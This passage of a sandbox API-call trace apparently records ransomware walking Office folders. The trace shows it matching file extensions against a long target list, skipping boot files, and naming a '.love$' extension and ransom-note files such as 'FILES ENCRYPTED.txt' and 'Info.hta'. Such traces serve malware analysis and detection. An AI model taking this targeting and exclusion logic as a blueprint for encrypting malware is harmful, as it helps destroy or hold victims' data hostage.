ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 0 [0108.211] FindClose (in: hFindFile=0x3e502c0 | out: hFindFile=0x3e502c0) returned 1 [0108.211] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e93e78 | out: hHeap=0x4b0000) returned 1 [0108.211] FindNextFileW (in: hFindFile=0x3e50580, lpFindFileData=0x349f584 | out: lpFindFileData=0x349f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Document Themes 16", cAlternateFileName="DOCUME~1")) returned 1 [0108.218] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0108.219] FindNextFileW (in: hFindFile=0x3e50640, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Theme Effects", cAlternateFileName="THEMEE~1")) returned 1 [0108.223] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0108.223] FindNextFileW (in: hFindFile=0x3e50640, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Theme Fonts", cAlternateFileName="THEMEF~1")) returned 1 [0108.227] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0108.227] FindNextFileW (in: hFindFile=0x3e50640, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11567da2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc7c1, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Wisp.thmx", cAlternateFileName="WISP~1.THM")) returned 1 [0108.227] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e93e78 | out: hHeap=0x4b0000) returned 1 [0108.227] FindNextFileW (in: hFindFile=0x3e50580, lpFindFileData=0x349f584 | out: lpFindFileData=0x349f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114f5747, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114f5747, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Flattener", cAlternateFileName="FLATTE~1")) returned 1 [0108.234] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e93e78 | out: hHeap=0x4b0000) returned 1 [0108.579] FindNextFileW (in: hFindFile=0x3e50580, lpFindFileData=0x349f584 | out: lpFindFileData=0x349f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fre", cAlternateFileName="")) returned 1 [0108.582] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e93e78 | out: hHeap=0x4b0000) returned 1 [0108.582] FindNextFileW (in: hFindFile=0x3e50580, lpFindFileData=0x349f584 | out: lpFindFileData=0x349f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1f5fb21, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b2abe77, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b2abe77, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 1 [0108.728] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e93e78 | out: hHeap=0x4b0000) returned 1 [0108.729] FindNextFileW (in: hFindFile=0x3e50580, lpFindFileData=0x349f584 | out: lpFindFileData=0x349f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2687c83, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee308135, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Licenses16", cAlternateFileName="LICENS~1")) returned 1 [0111.783] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e93e78 | out: hHeap=0x4b0000) returned 1 [0111.783] FindNextFileW (in: hFindFile=0x3e50580, lpFindFileData=0x349f584 | out: lpFindFileData=0x349f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee45f66d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x983c2c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="loc", cAlternateFileName="")) returned 1 [0112.221] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e93e78 | out: hHeap=0x4b0000) returned 1 [0112.221] FindNextFileW (in: hFindFile=0x3e50580, lpFindFileData=0x349f584 | out: lpFindFileData=0x349f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mcxml", cAlternateFileName="")) returned 1 [0112.275] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0112.275] FindNextFileW (in: hFindFile=0x3e50200, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99dfc61, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99dfc61, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99dfc61, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0112.276] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0112.276] FindNextFileW (in: hFindFile=0x3e50200, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99473dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99473dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99473dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0112.277] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0112.277] FindNextFileW (in: hFindFile=0x3e50200, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="x-none", cAlternateFileName="")) returned 1 [0112.323] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0112.323] FindNextFileW (in: hFindFile=0x3e50200, lpFindFileData=0x349f308 | out: lpFindFileData=0x349f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="x-none", cAlternateFileName="")) returned 0 [0112.323] FindClose (in: hFindFile=0x3e50200 | out: hFindFile=0x3e50200) returned 1 [0112.323] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e93e78 | out: hHeap=0x4b0000) returned 1 [0112.323] FindNextFileW (in: hFindFile=0x3e50580, lpFindFileData=0x349f584 | out: lpFindFileData=0x349f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office16", cAlternateFileName="")) returned 1 [0112.340] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f83eb8 | out: hHeap=0x4b0000) returned 1 [0112.340] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x349f08c | out: lpFindFileData=0x349f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a96a42, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1a96a42, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1abcabc, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xde78, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BSTORM.VSL", cAlternateFileName="")) returned 1 [0112.375] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f83eb8 | out: hHeap=0x4b0000) returned 1 [0112.375] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x349f08c | out: lpFindFileData=0x349f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x45a7036, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x45a7036, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4619706, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DBSAMPLE.MDB", cAlternateFileName="")) returned 1 [0112.439] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x3ed3e90, Size=0x80000) returned 0x4041020 [0112.451] FindNextFileW (in: hFindFile=0x3e50200, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab7525c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab7525c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab9b4b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d754, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME28.CSS", cAlternateFileName="")) returned 1 [0112.451] lstrlenW (lpString="SCHEME28.CSS") returned 12 [0112.451] lstrlenW (lpString=".1cd") returned 4 [0112.451] lstrcmpiW (lpString1=".1cd", lpString2=".CSS") returned -1 [0112.451] lstrlenW (lpString=".3ds") returned 4 [0112.451] lstrcmpiW (lpString1=".3ds", lpString2=".CSS") returned -1 [0112.451] lstrlenW (lpString=".3fr") returned 4 [0112.451] lstrcmpiW (lpString1=".3fr", lpString2=".CSS") returned -1 [0112.451] lstrlenW (lpString=".3g2") returned 4 [0112.451] lstrcmpiW (lpString1=".3g2", lpString2=".CSS") returned -1 [0112.452] lstrlenW (lpString=".3gp") returned 4 [0112.452] lstrcmpiW (lpString1=".3gp", lpString2=".CSS") returned -1 [0112.452] lstrlenW (lpString=".7z") returned 3 [0112.452] lstrcmpiW (lpString1=".7z", lpString2="CSS") returned -1 [0112.452] lstrlenW (lpString=".accda") returned 6 [0112.452] lstrcmpiW (lpString1=".accda", lpString2="28.CSS") returned -1 [0112.452] lstrlenW (lpString=".accdb") returned 6 [0112.452] lstrcmpiW (lpString1=".accdb", lpString2="28.CSS") returned -1 [0112.452] lstrlenW (lpString=".accdc") returned 6 [0112.452] lstrcmpiW (lpString1=".accdc", lpString2="28.CSS") returned -1 [0112.452] lstrlenW (lpString=".accde") returned 6 [0112.452] lstrcmpiW (lpString1=".accde", lpString2="28.CSS") returned -1 [0112.452] lstrlenW (lpString=".accdt") returned 6 [0112.452] lstrcmpiW (lpString1=".accdt", lpString2="28.CSS") returned -1 [0112.452] lstrlenW (lpString=".accdw") returned 6 [0112.452] lstrcmpiW (lpString1=".accdw", lpString2="28.CSS") returned -1 [0112.452] lstrlenW (lpString=".adb") returned 4 [0112.452] lstrcmpiW (lpString1=".adb", lpString2=".CSS") returned -1 [0112.452] lstrlenW (lpString=".adp") returned 4 [0112.452] lstrcmpiW (lpString1=".adp", lpString2=".CSS") returned -1 [0112.452] lstrlenW (lpString=".ai") returned 3 [0112.452] lstrcmpiW (lpString1=".ai", lpString2="CSS") returned -1 [0112.452] lstrlenW (lpString=".ai3") returned 4 [0112.452] lstrcmpiW (lpString1=".ai3", lpString2=".CSS") returned -1 [0112.452] lstrlenW (lpString=".ai4") returned 4 [0112.452] lstrcmpiW (lpString1=".ai4", lpString2=".CSS") returned -1 [0112.452] lstrlenW (lpString=".ai5") returned 4 [0112.452] lstrcmpiW (lpString1=".ai5", lpString2=".CSS") returned -1 [0112.452] lstrlenW (lpString=".ai6") returned 4 [0112.453] lstrcmpiW (lpString1=".ai6", lpString2=".CSS") returned -1 [0112.453] lstrlenW (lpString=".ai7") returned 4 [0112.453] lstrcmpiW (lpString1=".ai7", lpString2=".CSS") returned -1 [0112.453] lstrlenW (lpString=".ai8") returned 4 [0112.453] lstrcmpiW (lpString1=".ai8", lpString2=".CSS") returned -1 [0112.453] lstrlenW (lpString=".anim") returned 5 [0112.453] lstrcmpiW (lpString1=".anim", lpString2="8.CSS") returned -1 [0112.453] lstrlenW (lpString=".arw") returned 4 [0112.453] lstrcmpiW (lpString1=".arw", lpString2=".CSS") returned -1 [0112.453] lstrlenW (lpString=".as") returned 3 [0112.453] lstrcmpiW (lpString1=".as", lpString2="CSS") returned -1 [0112.453] lstrlenW (lpString=".asa") returned 4 [0112.453] lstrcmpiW (lpString1=".asa", lpString2=".CSS") returned -1 [0112.453] lstrlenW (lpString=".asc") returned 4 [0112.453] lstrcmpiW (lpString1=".asc", lpString2=".CSS") returned -1 [0112.453] lstrlenW (lpString=".ascx") returned 5 [0112.453] lstrcmpiW (lpString1=".ascx", lpString2="8.CSS") returned -1 [0112.453] lstrlenW (lpString=".asm") returned 4 [0112.453] lstrcmpiW (lpString1=".asm", lpString2=".CSS") returned -1 [0112.453] lstrlenW (lpString=".asmx") returned 5 [0112.453] lstrcmpiW (lpString1=".asmx", lpString2="8.CSS") returned -1 [0112.453] lstrlenW (lpString=".asp") returned 4 [0112.453] lstrcmpiW (lpString1=".asp", lpString2=".CSS") returned -1 [0112.453] lstrlenW (lpString=".aspx") returned 5 [0112.453] lstrcmpiW (lpString1=".aspx", lpString2="8.CSS") returned -1 [0112.453] lstrlenW (lpString=".asr") returned 4 [0112.453] lstrcmpiW (lpString1=".asr", lpString2=".CSS") returned -1 [0112.453] lstrlenW (lpString=".asx") returned 4 [0112.454] lstrcmpiW (lpString1=".asx", lpString2=".CSS") returned -1 [0112.454] lstrlenW (lpString=".avi") returned 4 [0112.454] lstrcmpiW (lpString1=".avi", lpString2=".CSS") returned -1 [0112.454] lstrlenW (lpString=".avs") returned 4 [0112.454] lstrcmpiW (lpString1=".avs", lpString2=".CSS") returned -1 [0112.454] lstrlenW (lpString=".backup") returned 7 [0112.454] lstrcmpiW (lpString1=".backup", lpString2="E28.CSS") returned -1 [0112.454] lstrlenW (lpString=".bak") returned 4 [0112.454] lstrcmpiW (lpString1=".bak", lpString2=".CSS") returned -1 [0112.454] lstrlenW (lpString=".bay") returned 4 [0112.454] lstrcmpiW (lpString1=".bay", lpString2=".CSS") returned -1 [0112.454] lstrlenW (lpString=".bd") returned 3 [0112.454] lstrcmpiW (lpString1=".bd", lpString2="CSS") returned -1 [0112.454] lstrlenW (lpString=".bin") returned 4 [0112.454] lstrcmpiW (lpString1=".bin", lpString2=".CSS") returned -1 [0112.454] lstrlenW (lpString=".bmp") returned 4 [0112.454] lstrcmpiW (lpString1=".bmp", lpString2=".CSS") returned -1 [0112.454] lstrlenW (lpString=".bz2") returned 4 [0112.454] lstrcmpiW (lpString1=".bz2", lpString2=".CSS") returned -1 [0112.454] lstrlenW (lpString=".c") returned 2 [0112.454] lstrcmpiW (lpString1=".c", lpString2="SS") returned -1 [0112.454] lstrlenW (lpString=".cdr") returned 4 [0112.454] lstrcmpiW (lpString1=".cdr", lpString2=".CSS") returned -1 [0112.454] lstrlenW (lpString=".cer") returned 4 [0112.454] lstrcmpiW (lpString1=".cer", lpString2=".CSS") returned -1 [0112.454] lstrlenW (lpString=".cf") returned 3 [0112.454] lstrcmpiW (lpString1=".cf", lpString2="CSS") returned -1 [0112.455] lstrlenW (lpString=".cfc") returned 4 [0112.455] lstrcmpiW (lpString1=".cfc", lpString2=".CSS") returned -1 [0112.455] lstrlenW (lpString=".cfm") returned 4 [0112.455] lstrcmpiW (lpString1=".cfm", lpString2=".CSS") returned -1 [0112.455] lstrlenW (lpString=".cfml") returned 5 [0112.455] lstrcmpiW (lpString1=".cfml", lpString2="8.CSS") returned -1 [0112.455] lstrlenW (lpString=".cfu") returned 4 [0112.455] lstrcmpiW (lpString1=".cfu", lpString2=".CSS") returned -1 [0112.455] lstrlenW (lpString=".chm") returned 4 [0112.455] lstrcmpiW (lpString1=".chm", lpString2=".CSS") returned -1 [0112.455] lstrlenW (lpString=".cin") returned 4 [0112.455] lstrcmpiW (lpString1=".cin", lpString2=".CSS") returned -1 [0112.455] lstrlenW (lpString=".class") returned 6 [0112.455] lstrcmpiW (lpString1=".class", lpString2="28.CSS") returned -1 [0112.455] lstrlenW (lpString=".clx") returned 4 [0112.455] lstrcmpiW (lpString1=".clx", lpString2=".CSS") returned -1 [0112.455] lstrlenW (lpString=".config") returned 7 [0112.455] lstrcmpiW (lpString1=".config", lpString2="E28.CSS") returned -1 [0112.455] lstrlenW (lpString=".cpp") returned 4 [0112.455] lstrcmpiW (lpString1=".cpp", lpString2=".CSS") returned -1 [0112.455] lstrlenW (lpString=".cr2") returned 4 [0112.455] lstrcmpiW (lpString1=".cr2", lpString2=".CSS") returned -1 [0112.455] lstrlenW (lpString=".crt") returned 4 [0112.455] lstrcmpiW (lpString1=".crt", lpString2=".CSS") returned -1 [0112.455] lstrlenW (lpString=".crw") returned 4 [0112.455] lstrcmpiW (lpString1=".crw", lpString2=".CSS") returned -1 [0112.455] lstrlenW (lpString=".cs") returned 3 [0112.455] lstrcmpiW (lpString1=".cs", lpString2="CSS") returned -1 [0112.455] lstrlenW (lpString=".css") returned 4 [0112.456] lstrcmpiW (lpString1=".css", lpString2=".CSS") returned 0 [0112.456] lstrlenW (lpString="SCHEME28.CSS") returned 12 [0112.456] lstrlenW (lpString=".love$") returned 6 [0112.456] lstrcmpiW (lpString1=".love$", lpString2="28.CSS") returned -1 [0112.456] lstrlenW (lpString="SCHEME28.CSS") returned 12 [0112.456] lstrcmpiW (lpString1="boot.ini", lpString2="SCHEME28.CSS") returned -1 [0112.456] lstrcmpiW (lpString1="bootfont.bin", lpString2="SCHEME28.CSS") returned -1 [0112.456] lstrcmpiW (lpString1="ntldr", lpString2="SCHEME28.CSS") returned -1 [0112.456] lstrcmpiW (lpString1="ntdetect.com", lpString2="SCHEME28.CSS") returned -1 [0112.456] lstrcmpiW (lpString1="io.sys", lpString2="SCHEME28.CSS") returned -1 [0112.456] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="SCHEME28.CSS") returned -1 [0112.456] lstrcmpiW (lpString1="Info.hta", lpString2="SCHEME28.CSS") returned -1 [0112.456] lstrcmpiW (lpString1="finbbp.exe", lpString2="SCHEME28.CSS") returned -1 [0112.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME28.CSS") returned 74 [0112.456] FindNextFileW (in: hFindFile=0x3e50200, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab7525c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab7525c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab9b4b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1eb4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME29.CSS", cAlternateFileName="")) returned 1 [0112.456] lstrlenW (lpString="SCHEME29.CSS") returned 12 [0112.456] lstrlenW (lpString=".1cd") returned 4 [0112.456] lstrcmpiW (lpString1=".1cd", lpString2=".CSS") returned -1 [0112.456] lstrlenW (lpString=".3ds") returned 4 [0112.456] lstrcmpiW (lpString1=".3ds", lpString2=".CSS") returned -1 [0112.456] lstrlenW (lpString=".3fr") returned 4 [0112.456] lstrcmpiW (lpString1=".3fr", lpString2=".CSS") returned -1 [0112.456] lstrlenW (lpString=".3g2") returned 4 [0112.456] lstrcmpiW (lpString1=".3g2", lpString2=".CSS") returned -1 [0112.457] lstrlenW (lpString=".3gp") returned 4 [0112.457] lstrcmpiW (lpString1=".3gp", lpString2=".CSS") returned -1 [0112.457] lstrlenW (lpString=".7z") returned 3 [0112.457] lstrcmpiW (lpString1=".7z", lpString2="CSS") returned -1 [0112.457] lstrlenW (lpString=".accda") returned 6 [0112.457] lstrcmpiW (lpString1=".accda", lpString2="29.CSS") returned -1 [0112.457] lstrlenW (lpString=".accdb") returned 6 [0112.457] lstrcmpiW (lpString1=".accdb", lpString2="29.CSS") returned -1 [0112.457] lstrlenW (lpString=".accdc") returned 6 [0112.457] lstrcmpiW (lpString1=".accdc", lpString2="29.CSS") returned -1 [0112.457] lstrlenW (lpString=".accde") returned 6 [0112.457] lstrcmpiW (lpString1=".accde", lpString2="29.CSS") returned -1 [0112.457] lstrlenW (lpString=".accdt") returned 6 [0112.457] lstrcmpiW (lpString1=".accdt", lpString2="29.CSS") returned -1 [0112.457] lstrlenW (lpString=".accdw") returned 6 [0112.457] lstrcmpiW (lpString1=".accdw", lpString2="29.CSS") returned -1 [0112.457] lstrlenW (lpString=".adb") returned 4 [0112.457] lstrcmpiW (lpString1=".adb", lpString2=".CSS") returned -1 [0112.457] lstrlenW (lpString=".adp") returned 4 [0112.457] lstrcmpiW (lpString1=".adp", lpString2=".CSS") returned -1 [0112.457] lstrlenW (lpString=".ai") returned 3 [0112.457] lstrcmpiW (lpString1=".ai", lpString2="CSS") returned -1 [0112.457] lstrlenW (lpString=".ai3") returned 4 [0112.457] lstrcmpiW (lpString1=".ai3", lpString2=".CSS") returned -1 [0112.457] lstrlenW (lpString=".ai4") returned 4 [0112.457] lstrcmpiW (lpString1=".ai4", lpString2=".CSS") returned -1 [0112.457] lstrlenW (lpString=".ai5") returned 4 [0112.457] lstrcmpiW (lpString1=".ai5", lpString2=".CSS") returned -1 [0112.458] lstrlenW (lpString=".ai6") returned 4 [0112.458] lstrcmpiW (lpString1=".ai6", lpString2=".CSS") returned -1 [0112.458] lstrlenW (lpString=".ai7") returned 4 [0112.458] lstrcmpiW (lpString1=".ai7", lpString2=".CSS") returned -1 [0112.458] lstrlenW (lpString=".ai8") returned 4 [0112.458] lstrcmpiW (lpString1=".ai8", lpString2=".CSS") returned -1 [0112.458] lstrlenW (lpString=".anim") returned 5 [0112.458] lstrcmpiW (lpString1=".anim", lpString2="9.CSS") returned -1 [0112.458] lstrlenW (lpString=".arw") returned 4 [0112.458] lstrcmpiW (lpString1=".arw", lpString2=".CSS") returned -1 [0112.458] lstrlenW (lpString=".as") returned 3 [0112.458] lstrcmpiW (lpString1=".as", lpString2="CSS") returned -1 [0112.458] lstrlenW (lpString=".asa") returned 4 [0112.458] lstrcmpiW (lpString1=".asa", lpString2=".CSS") returned -1 [0112.458] lstrlenW (lpString=".asc") returned 4 [0112.458] lstrcmpiW (lpString1=".asc", lpString2=".CSS") returned -1 [0112.458] lstrlenW (lpString=".ascx") returned 5 [0112.458] lstrcmpiW (lpString1=".ascx", lpString2="9.CSS") returned -1 [0112.458] lstrlenW (lpString=".asm") returned 4 [0112.458] lstrcmpiW (lpString1=".asm", lpString2=".CSS") returned -1 [0112.458] lstrlenW (lpString=".asmx") returned 5 [0112.458] lstrcmpiW (lpString1=".asmx", lpString2="9.CSS") returned -1 [0112.458] lstrlenW (lpString=".asp") returned 4 [0112.458] lstrcmpiW (lpString1=".asp", lpString2=".CSS") returned -1 [0112.458] lstrlenW (lpString=".aspx") returned 5 [0112.458] lstrcmpiW (lpString1=".aspx", lpString2="9.CSS") returned -1 [0112.458] lstrlenW (lpString=".asr") returned 4 [0112.459] lstrcmpiW (lpString1=".asr", lpString2=".CSS") returned -1 [0112.459] lstrlenW (lpString=".asx") returned 4 [0112.459] lstrcmpiW (lpString1=".asx", lpString2=".CSS") returned -1 [0112.459] lstrlenW (lpString=".avi") returned 4 [0112.459] lstrcmpiW (lpString1=".avi", lpString2=".CSS") returned -1 [0112.459] lstrlenW (lpString=".avs") returned 4 [0112.459] lstrcmpiW (lpString1=".avs", lpString2=".CSS") returned -1 [0112.459] lstrlenW (lpString=".backup") returned 7 [0112.459] lstrcmpiW (lpString1=".backup", lpString2="E29.CSS") returned -1 [0112.459] lstrlenW (lpString=".bak") returned 4 [0112.459] lstrcmpiW (lpString1=".bak", lpString2=".CSS") returned -1 [0112.459] lstrlenW (lpString=".bay") returned 4 [0112.459] lstrcmpiW (lpString1=".bay", lpString2=".CSS") returned -1 [0112.459] lstrlenW (lpString=".bd") returned 3 [0112.459] lstrcmpiW (lpString1=".bd", lpString2="CSS") returned -1 [0112.459] lstrlenW (lpString=".bin") returned 4 [0112.459] lstrcmpiW (lpString1=".bin", lpString2=".CSS") returned -1 [0112.459] lstrlenW (lpString=".bmp") returned 4 [0112.459] lstrcmpiW (lpString1=".bmp", lpString2=".CSS") returned -1 [0112.459] lstrlenW (lpString=".bz2") returned 4 [0112.459] lstrcmpiW (lpString1=".bz2", lpString2=".CSS") returned -1 [0112.459] lstrlenW (lpString=".c") returned 2 [0112.459] lstrcmpiW (lpString1=".c", lpString2="SS") returned -1 [0112.459] lstrlenW 